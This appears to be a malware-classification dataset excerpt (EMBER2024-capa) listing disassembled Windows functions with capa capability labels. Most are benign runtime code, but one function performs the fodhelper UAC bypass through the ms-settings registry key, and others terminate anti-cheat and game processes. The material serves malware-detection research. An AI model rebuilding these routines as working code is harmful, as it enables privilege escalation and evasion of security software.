joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402700
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00451900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004518e0]
test rbx, rbx
je 0x402754
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40274b
test rsi, rsi
je 0x40274b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402730
lea rcx, [0x00451900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402990
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4029a0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4029b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4029f1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4029e8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4029f3
add rax, 0x28
cmp rax, r9
jne 0x4029d4
xor eax, eax
ret

Function at 0x402a90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0044e400]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x402afd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402afd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402afd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402af4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402aff
add rax, 0x28
cmp rax, r9
jne 0x402ae0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402c00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0044e400]
xor eax, eax
mov rdx, rcx
cmp word [r8], 0x5a4d
je 0x402c20
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402c18
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402c7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402c74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402c84
add rax, 0x28
cmp rax, r9
jne 0x402c60
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402ca0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0044e400]
mov r9d, ecx
cmp word [r11], 0x5a4d
jne 0x402d0e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402d0e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402d0e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402d0e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402d05
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402d15
add rcx, 0x28
cmp rcx, rax
jne 0x402cf0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402d28
jmp 0x402d0e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402d36
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402d0e
test r9d, r9d
jg 0x402d20
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret

Function at 0x402fc0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001000
Capabilities:
Check os version

Disassembly:
push rdi
sub rsp, 0x170
lea rdi, [rsp + 0x20]
mov ecx, 0x54
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140009028]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov r8d, 0x114
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], 0x114
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x34], 5
jne 0x14000105f
mov byte [0x140009138], 1
movzx eax, byte [0x140009138]
mov edi, eax
mov rcx, rsp
lea rdx, [0x140005d80]
call fcn.140002de8
mov eax, edi
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140002ef0
add rsp, 0x170
pop rdi
ret
Function at 0x140001b10
Capabilities:
Get file version info

Disassembly:
push rdi
sub rsp, 0x3f0
lea rdi, [rsp + 0x30]
mov ecx, pe_nt_image_headers64
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140009028]
xor rax, rsp
mov qword [rsp + 0x3e8], rax
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140001b64
lea rcx, str.Unable_to_get_executable_file_name._n
call fcn.140002a60
jmp 0x140001ce0
lea rdx, [rsp + 0x264]
lea rcx, [rsp + 0x40]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x274], eax
cmp dword [rsp + 0x274], 0
jne 0x140001b98
lea rcx, str.Unable_to_get_version_info_size._n
call fcn.140002a60
jmp 0x140001ce0
mov eax, dword [rsp + 0x274]
mov ecx, eax
call fcn.140002b44
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x278], rax
mov r9, qword [rsp + 0x278]
mov r8d, dword [rsp + 0x274]
xor edx, edx
lea rcx, [rsp + 0x40]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x140001bef
lea rcx, str.Unable_to_get_version_info._n
call fcn.140002a60
jmp 0x140001ce0
lea r9, [rsp + 0x2a4]
lea r8, [rsp + 0x288]
lea rdx, [0x140005704]
mov rcx, qword [rsp + 0x278]
call sub.VERSION.dll_VerQueryValueW
test eax, eax
jne 0x140001c28
lea rcx, str.Unable_to_query_version_value._n
call fcn.140002a60
jmp 0x140001ce0
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x2b8]
mov eax, dword [rax + 0x14]
and eax, 0xffff
mov rcx, qword [rsp + 0x2b8]
mov ecx, dword [rcx + 0x14]
shr ecx, 0x10
mov rdx, qword [rsp + 0x2b8]
mov edx, dword [rdx + 0x10]
and edx, 0xffff
mov r8, qword [rsp + 0x2b8]
mov r8d, dword [r8 + 0x10]
shr r8d, 0x10
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
mov r9d, edx
lea rdx, str.version__i._i._i._i
lea rcx, [rsp + 0x2d0]
call fcn.140002740
lea rdx, [0x140005c18]
lea rcx, [rsp + 0x360]
call fcn.140002870
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x360]
call fcn.140002810
lea rdx, str._njabswitch_enables_or_disables_the_Java_Access_Bridge._n
lea rcx, [rsp + 0x360]
call fcn.140002810
lea rcx, [rsp + 0x360]
call fcn.140002a60
mov rcx, rsp
lea rdx, [0x140006480]
call fcn.140002de8
mov rcx, qword [rsp + 0x3e8]
xor rcx, rsp
call fcn.140002ef0
add rsp, 0x3f0
pop rdi
ret
Function at 0x14001102d
Capabilities:
Create process on windows
Persist via default file association registry key
Set registry value

Disassembly:
jmp 0x1400117f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2a8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x14002309f]
call fcn.14001138e
nop
cmp dword [rbp + 0x250], 2
je 0x140011850
mov eax, 1
jmp 0x140011a0b
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x258]
mov rax, qword [rcx + rax]
mov qword [rbp + 8], rax
lea rax, str.SoftwareClassesms_settingsShellOpencommand
mov qword [rbp + 0x68], rax
lea rax, [0x14001ad64]
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0x44]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x1400118dc
mov eax, 1
jmp 0x140011a0b
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14001ad64]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011936
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov eax, 1
jmp 0x140011a0b
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.exec
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0xa4], eax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov dword [rbp + 0xd0], 0x70
lea rax, [rbp + 0xd4]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0xe0], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x100], 1
lea rcx, [rbp + 0xd0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140011a09
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0x4c7
jne 0x140011a02
mov eax, 1
jmp 0x140011a0b
mov eax, 1
jmp 0x140011a0b
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001aca0]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x140012f30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400142c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400142e0
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400142f3
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001431d
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014331
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014343
xor al, al
jmp 0x140014361
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001435f
xor al, al
jmp 0x140014361
mov al, 1
add rsp, 0x38
ret
Function at 0x140012160
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113b6
movzx eax, al
test eax, eax
jne 0x140012180
mov ecx, 7
call fcn.14001132f
nop
mov byte [rsp + 0x20], 0
call fcn.140011348
mov byte [rsp + 0x21], al
cmp dword [0x14001d868], 1
jne 0x1400121a4
mov ecx, 7
call fcn.14001132f
nop
jmp 0x1400121fc
cmp dword [0x14001d868], 0
jne 0x1400121f7
mov dword [0x14001d868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111b3
test eax, eax
je 0x1400121d8
mov eax, 0xff
jmp 0x140012301
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001133e
mov dword [0x14001d868], 2
jmp 0x1400121fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001131b
call fcn.1400112b7
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012259
mov rcx, qword [rsp + 0x30]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x140012259
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140024020]
nop
call fcn.1400112e9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001228d
mov rcx, qword [rsp + 0x38]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x14001228d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011375
nop
call fcn.1400123b0
mov dword [rsp + 0x28], eax
call fcn.140011294
movzx eax, al
test eax, eax
jne 0x1400122ac
mov ecx, dword [rsp + 0x28]
call fcn.14001105f
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400122bb
call fcn.14001137f
nop
xor edx, edx
mov cl, 1
call fcn.14001115e
mov eax, dword [rsp + 0x28]
jmp 0x140012301
add rsp, 0x68
ret
Function at 0x14000d000
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140070040]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000d0be
mov qword [rsp + 0x170], rbx
lea rcx, [rsp + 0x4c]
mov r8, rsi
sub r8, rcx
nop dword [rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x14000d073
inc rcx
test eax, eax
jne 0x14000d060
test edx, edx
jne 0x14000d0a4
mov r8d, dword [rsp + 0x28]
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000d0a4
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000d052
mov rbx, qword [rsp + 0x170]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14003ac30
mov rsi, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret

Function at 0x14000d390
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
lea rdx, str.exitthread__:_Shutting_down_processes
movzx ebx, cl
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x20]
lea r8d, [rax + 0x25]
movups xmmword [rsp + 0x20], xmm0
call fcn.1400051f0
lea rcx, [rsp + 0x20]
call fcn.1400261b0
test bl, bl
je 0x14000d3dc
lea rcx, str.FortniteClient_Win64_Shipping.exe
call fcn.14000d000
lea rcx, str.EpicGamesLauncher.exe
call fcn.14000d000
lea rcx, str.FortniteLauncher.exe
call fcn.14000d000
lea rcx, str.FortniteClient_Win64_Shipping_BE.exe
call fcn.14000d000
lea rcx, str.FortniteClient_Win64_Shipping_EAC.exe
call fcn.14000d000
lea rcx, str.FortniteClient_Win64_Shipping_EAC_EOS.exe
call fcn.14000d000
lea rcx, str.EasyAntiCheat.exe
call fcn.14000d000
lea rcx, str.BattleEyeAnticheat.exe
call fcn.14000d000
lea rcx, str.BattleEye_Launcher
add rsp, 0x40
pop rbx
jmp fcn.14000d000
Function at 0x14000d450
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x140070040]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rcx
mov rsi, rdx
mov ecx, 0x68
call fcn.14003aeec
mov r14, rax
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [r14], 0x68
lea rdi, [rsp + 0x78]
mov ecx, 0x18
xor r9d, r9d
rep stosb byte [rdi], al
xor edi, edi
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
xor r8d, r8d
mov qword [rsp + 0x40], r14
mov rdx, rsi
mov qword [rsp + 0x38], rdi
mov rcx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000d4fb
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x78]
jmp 0x14000d53b
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
mov r8d, 0x19
mov qword [rsp + 0x68], rdi
lea rdx, str.Failed_to_create_process.
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.1400051f0
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140026030
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14003ac30
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop r14
pop rdi
pop rsi
ret
Function at 0x14000da40
Capabilities:
Manipulate console buffer

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140070040]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov ebx, ecx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edi, edi
mov word [rsp + 0x22], bx
mov word [rsp + 0x20], di
mov rcx, rax
mov ebx, dword [rsp + 0x20]
mov rsi, rax
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea rdx, [rsp + 0x28]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx ebp, word [rsp + 0x30]
mov eax, 0xfff0
movzx edx, bp
mov rcx, rsi
and dx, ax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp di, word [rsp + 0x36]
jge 0x14000dade
nop dword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14005dcd0]
call fcn.140004e50
movsx eax, word [rsp + 0x36]
inc edi
cmp edi, eax
jl 0x14000dac0
movzx edx, bp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14003ac30
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x1400106f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub rsp, 0x48
xor eax, eax
lea rdx, str.ShutdownCarbon__:_Shutting_down_Carbon...
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x20], xmm0
lea r8d, [rax + 0x29]
call fcn.1400051f0
lea rcx, [rsp + 0x20]
call fcn.1400261b0
mov cl, 1
add rsp, 0x48
jmp fcn.14000d390
Function at 0x140013520
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140013541
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14001356e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140013570
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400135c9
test ecx, ecx
jle 0x1400135a9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400135c9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400135c9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
xchg esi, eax
Function at 0x1400135f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140013612
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140013621
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140013644
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140013646
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140013682
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14001371e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400136bd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400136fe
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14001371e
cmp rbx, rax
ja 0x1400136d0
test rbx, rbx
je 0x14001371e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
xchg esi, eax